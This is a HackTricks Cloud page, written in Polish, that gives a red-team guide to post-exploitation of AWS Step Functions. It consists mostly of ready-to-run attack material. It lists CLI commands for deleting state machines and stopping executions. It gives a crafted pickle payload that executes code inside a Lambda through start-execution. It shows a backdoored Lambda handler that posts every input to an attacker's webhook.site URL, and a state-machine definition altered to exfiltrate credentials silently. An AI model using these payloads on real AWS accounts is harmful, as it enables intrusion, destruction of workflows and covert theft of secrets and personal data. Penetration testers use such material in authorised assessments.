AWS - Step Functions Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Step Functions
Po więcej informacji o tej usłudze AWS, zobacz:
states:RevealSecrets
To uprawnienie pozwala ujawnić secret data inside an execution. W tym celu trzeba ustawić Inspection level na TRACE oraz parametr revealSecrets na true.
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Atakujący posiadający te uprawnienia będzie w stanie trwale usuwać state machines, ich versions oraz aliases. Może to zakłócić krytyczne workflowy, skutkować utratą danych i wymagać znacznego czasu na odzyskanie i przywrócenie dotkniętych state machines. Ponadto pozwoli to atakującemu zamazać ślady, utrudnić dochodzenia kryminalistyczne oraz potencjalnie sparaliżować operacje przez usunięcie istotnych procesów automatyzacji i konfiguracji stanów.
Note
- Deleting a state machine you also delete all its associated versions and aliases.
- Deleting a state machine alias you do not delete the state machine versions referecing this alias.
- It is not possible to delete a state machine version currently referenced by one o more aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potencjalny wpływ: Zakłócenie krytycznych przepływów pracy, utrata danych i przestoje operacyjne.
states:UpdateMapRun
Atakujący z tym uprawnieniem mógłby modyfikować konfigurację obsługi błędów Map Run oraz ustawienie równoległości, zwiększając lub zmniejszając maksymalną dozwoloną liczbę uruchomień podrzędnych workflow, co bezpośrednio wpływa na wydajność usługi. Ponadto atakujący mógłby manipulować tolerowanym procentem i liczbą błędów, zmniejszając tę wartość do 0 — wówczas za każdym razem, gdy jakiś element zawiedzie, cały Map Run zakończy się niepowodzeniem, co bezpośrednio wpłynie na wykonanie state machine i potencjalnie zakłóci krytyczne przepływy pracy.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Potencjalny wpływ: Pogorszenie wydajności oraz zakłócenie krytycznych przepływów pracy.
states:StopExecution
Atakujący posiadający to uprawnienie może zatrzymać wykonywanie dowolnego state machine, zakłócając trwające przepływy pracy i procesy. Może to prowadzić do niekompletnych transakcji, zatrzymania operacji biznesowych oraz potencjalnego uszkodzenia danych.
Warning
Ta akcja nie jest obsługiwana przez express state machines.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Potencjalny wpływ: Zakłócenie trwających przepływów pracy, przestoje operacyjne i potencjalne uszkodzenie danych.
states:TagResource, states:UntagResource
Atakujący mógłby dodać, zmodyfikować lub usunąć tagi z zasobów Step Functions, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Potencjalny wpływ: Zakłócenie alokacji kosztów, śledzenia zasobów oraz polityk kontroli dostępu opartych na tagach.
states:StartExecution -> Wstrzyknięcie danych wejściowych do niebezpiecznych sinków
states:StartExecution jest punktem wejścia w warstwie danych. Jeśli state machine przekazuje kontrolowane przez atakującego dane wejściowe do zadania zawierającego niebezpieczny sink (na przykład Lambda wykonująca pickle.loads(base64.b64decode(payload_b64))), możesz czasami zamienić StartExecution w code execution i secret exfiltration poprzez wynik wykonania, bez żadnych uprawnień do aktualizacji state machine.
Odkryj workflow i wywoływaną Lambda
Jeśli masz states:List* / states:Describe*, możesz wyenumerować i odczytać definicję state machine:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
Jeśli masz również lambda:GetFunction, możesz pobrać Lambda code bundle, aby zrozumieć, jak przetwarzane jest input (i potwierdzić, czy istnieje unsafe deserialization):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
Przykład: crafted pickle w wejściu wykonania (Python)
Jeśli Lambda unpickles attacker-controlled data, złośliwy pickle może wykonać kod podczas deserializacji. Przykładowy payload, który oceni wyrażenie w Pythonie w środowisku wykonawczym Lambda:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Wpływ: Wszystkie uprawnienia, które posiada rola zadania (odczyty Secrets Manager, zapisy S3, odszyfrowania KMS itp.) mogą stać się osiągalne poprzez spreparowane dane wejściowe, a wynik może zostać zwrócony w wyjściu wykonania Step Functions.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Atakujący, który przejmie użytkownika lub rolę z następującymi uprawnieniami:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…może przeprowadzić high-impact and stealthy post-exploitation attack poprzez połączenie Lambda backdooring z manipulacją logiki Step Function.
Scenariusz zakłada, że ofiara używa AWS Step Functions to orchestrate workflows that process sensitive input, takich jak credentials, tokens lub PII.
Przykładowe wywołanie ofiary:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Jeśli Step Function jest skonfigurowana do wywoływania Lambda takiej jak LegitBusinessLogic, atakujący może przejść do dwóch ukrytych wariantów ataku:
Zaktualizowano funkcję Lambda
Atakujący modyfikuje kod funkcji Lambda już używanej przez Step Function (LegitBusinessLogic), aby potajemnie exfiltrate input data.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Dodaj złośliwy stan do Step Function
Alternatywnie, atakujący może wstrzyknąć exfiltration state na początku przepływu pracy poprzez aktualizację definicji Step Function.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
Atakujący może jeszcze skuteczniej ukryć swoje działania, aktualizując definicję stanu do czegoś takiego { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } gdzie ofiara nie zauważy różnicy
Konfiguracja ofiary (Context for Exploit)
- A Step Function (
LegitStateMachine) jest używana do przetwarzania wrażliwych danych wejściowych użytkownika. - Wywołuje jedną lub więcej funkcji Lambda, takich jak
LegitBusinessLogic.
Potencjalny wpływ:
- Cicha exfiltration wrażliwych danych, w tym secrets, credentials, API keys i PII.
- Brak widocznych błędów ani niepowodzeń w wykonaniu workflow.
- Trudne do wykrycia bez audytu kodu Lambda lub śladów wykonania.
- Umożliwia długoterminową obecność, jeśli backdoor pozostanie w kodzie lub logice ASL.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

